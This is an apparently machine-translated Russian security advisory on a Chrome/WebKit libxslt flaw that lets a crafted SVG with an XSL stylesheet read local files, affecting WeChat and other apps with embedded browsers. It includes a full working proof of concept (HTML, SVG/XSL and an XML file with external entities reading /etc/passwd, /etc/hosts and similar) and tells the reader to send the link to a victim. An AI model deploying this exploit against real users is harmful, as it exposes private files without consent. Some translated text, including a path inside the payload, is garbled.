Браузерный движок с открытым исходным кодом WebKit, уязвимость чтения произвольных файлов

Google Chrome — веб-браузер, разработанный Google. Он основан на ядре с открытым исходным кодом (например, WebKit) и направлен на повышение стабильности, скорости и безопасности благодаря простому и эффективному интерфейсу. Однако, используя таблицы стилей XSL и ссылки на внешние объекты в ссылках на изображения SVG, злоумышленник может читать произвольные файлы на компьютере жертвы.

1. Описание уязвимости

Google ХромЭто веб-браузер, разработанный Google. Браузер написан на основе ядра с открытым исходным кодом (например, WebKit) с целью повышения стабильности, скорости и безопасности, а также создания простого и эффективного пользовательского интерфейса. Библиотека xsl (Libxslt), используемая WebKit по умолчанию, документ, загружаемый вызовом document(), содержит ссылки на внешние объекты. Злоумышленник может создавать и размещать изображения SVG, содержащие таблицы стилей XSL и документы, содержащие ссылки на внешние объекты.

Когда жертва обращается к ссылке на изображение SVG, браузер анализирует таблицу стилей XSL, вызывает document() для загрузки документа, содержащего ссылки на внешние объекты, и считывает произвольные файлы на компьютере жертвы.

2. Влияние уязвимостей

Версия Chrome < 116.0.5845.96
Версия хрома < 116.0.5845.96
Электронная версия < 26.1.0

Внутреннее воздействие:

В основном затронуты приложения, использующие ядро Google Chrome, такие как: WeChat Mobile, Alipay, Douyin, Ctrip, Xiaomi (с собственным браузером), UC Browser, via Browser, Quark Browser и т. д. (это ноябрь. Протестировано вечером 19-е)

3. Проверка уязвимостей

Возьмите версию WeChat для Android в качестве примера, чтобы прочитать файл /etc/hosts на мобильном телефоне: Версия тестовой среды WeChat — последняя версия 8.0.43.

Создайте три файла и разверните их на сервере.

 

c.html

<body>
<div id="r"></div>
<script>
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
}
ifr.src = "./c2.svg";

var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
alert(data);
</script>
</body>
c2.svg
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="10000%" height="10000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignobject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp>
<xsl:copy-of select="document('./c3.xml')"/>
</xmp>
</body>
</foreignobject>
</svg>
</xsl:template>
</xsl:stylesheet>
c3.xml
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
<p style="border-style: dotted;">/etc/passwd: &amp;passwd;
</p>
<p style="border-style: dotted;" id="hosts">/etc/hosts: &amp;hosts;
</p>
<p style="border-style: dotted;">/etc/группа: &amp;group;
</p>
<p style="border-style: dotted;">c:/windows/system32.ini: &amp;sysini;
</p>
</p>

После создания трех файлов загрузите их на сервер для развертывания и отправьте созданную ссылку любому другу через окно беседы. Здесь я продемонстрирую отправку ее помощнику по передаче файлов, а затем щелкните ссылку, чтобы успешно вернуть прочитанный файл. .

4. Рекомендации по устранению уязвимостей

1. Обновите встроенную браузерную версию приложения;

2. Пользователям не следует нажимать на незнакомые ссылки, чтобы не подвергнуться атакам.

Оригинальная статья написана Chief Security Officer, при воспроизведении просьба указывать: https://cncso.com/ru/браузер-webkit-произвольное-чтение-файлов.

Нравиться (1)
Предыдущий 27 ноября 2023 г. пп11:03
Следующий 1 декабря 2023 г. пп10:01

связанное предложение